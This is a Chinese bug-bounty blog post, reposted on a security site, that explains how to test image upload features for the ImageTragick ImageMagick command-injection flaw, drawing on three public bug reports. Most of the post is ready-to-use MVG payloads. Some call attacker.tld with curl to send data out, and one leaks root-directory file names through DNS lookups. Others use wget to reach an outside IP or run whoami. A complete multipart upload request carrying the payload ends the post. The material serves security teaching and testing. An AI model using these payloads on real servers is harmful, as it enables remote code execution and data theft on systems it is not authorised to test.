赏金猎人系列-文件上传功能测试小结-II

admin 2023年1月22日12:46:13安全文章评论10 views2993字阅读9分58秒阅读模式

赏金猎人系列-文件上传功能测试小结-II

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

前言

首先祝大家新年快乐,兔年大吉!

前文有: 赏金猎人系列-如何测试文件上传功能, 赏金猎人系列-如何测试文件上传功能-II;

本文继续讲解如何测试文件上传功能

正文

背景知识:

cve-2016-3714

具体可以参考P神之前写的一篇分析文章:

https://paper.seebug.org/papers/Archive/drops2/CVE-2016-3714%20-%20ImageMagick%20%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E5%88%86%E6%9E%90.html

主要关键点是: ImageMagick里面有个叫delegate的模块,这个模块的功能是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的;

案例1

这个作者首先发现了一个重定向,继而发现了picture参数,然后展开测试:

首先想到的是 SSRF 问题。利用nc -lvvv 8088测试之后发现服务器是来自外部的;

但是,这个参数是picture,一般而言,应用程序都会使用某种转换器转换图像,开始深入挖掘,想挖XXE相关的问题的,但是没有挖到。

继续,向ImageTragick这个思路出发,上poc:

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://attacker.tld/" -d @- > /dev/null`'
pop graphic-context

没有反应,继续折腾,想到:有时候会阻止常见请求但不阻止 DNS :

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://record_under_attacker_controled_ns_server.attacker.tld/" -d @- > /dev/null`'
pop graphic-context

结果是:

IP: 31.13.*.*; NetName: LLA1-11
NAME: record_under_attacker_controled_ns_server.attacker.tld, Type: A

whois current_ip

netname: LLA1-11
descr: Facebook

成功!!!

经过一系列测试表明:

要么所有出站端口都已关闭,要么将花费大量时间来找到一个将打开的端口。这里采用了另一种足以用于 PoC 的方式。

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60for i in $(ls /) ; do curl "http://$i.attacker.tld/" -d @- > /dev/null; done`'
pop graphic-context

这里简要解释一下这里的命令:

这段代码首先将当前图形上下文入栈,然后设置了一个视图框,大小为 640x480。

然后调用了 image over 命令来将图像覆盖到视图框的 (0,0) 位置。第一个参数 0,0 表示图像在视图框中的位置,第二个参数 0,0 表示图像的大小。

最关键的部分在于

'https://127.0.0.1/x.php?x=%60for i in $(ls /) ; do curl "http://$i.attacker.tld/" -d @- > /dev/null; done`'

这里的代码是一个URL,它的请求将会被发送到本地的x.php脚本,并且将请求的参数x作为命令执行。这个命令会使用ls命令列出根目录下的所有文件,然后对于每个文件都执行一次curl请求,请求的地址是:文件名.attacker.tld,并且将请求的响应重定向到/dev/null.

案例2

这个案例中的文件上传漏洞也是由于ImageTragick造成的,值得注意的是,这个漏洞提交的时候已经是2018年了,距离CVE发生的时候已经时隔将近2年了;

漏洞发生的功能点还是在图片上传功能(个人资料头像)

poc如下:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg "|whoami>>/tmp/alyssa.txt")'
pop graphic-context

案例3

/settings/profile/edit上传的个人资料图片容易受到远程代码执行的攻击,因为上传的文件被传递给ImageMagick而没有检查它是否是实际的图像

复现步骤:

将以下ASCII文件上传为x.gif:

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`wget -O- 1.2.3.4:1337 > /dev/null`'
pop graphic-context

总结

尝试在有扩展名文件的内容中插入ImageTragick命令,例如: png, gif, mvg, svg,这样可能会有RCE或者SSRF

 
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary 
Content-Length: Number

Content-Disposition: form-data; name="file"; filename="image.png" 
Content-Type: image/png
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60for i in $(ls /) ; do curl "http://$i.me.com/" -d @- > /dev/null; done`'
pop graphic-context
------WebKitFormBoundary--

往期回顾

2022年度精选文章

参考

https://4lemon.ru/2017-01-17_facebook_imagetragick_remote_code_execution.html

https://hackerone.com/reports/412021

https://hackerone.com/reports/135072

彩蛋: 支付宝红包口令:46622453

彩蛋: 另外一篇文章有更多红包

原文始发于微信公众号(迪哥讲事):赏金猎人系列-文件上传功能测试小结-II

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月22日12:46:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  赏金猎人系列-文件上传功能测试小结-II http://cn-sec.com/archives/1524239.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: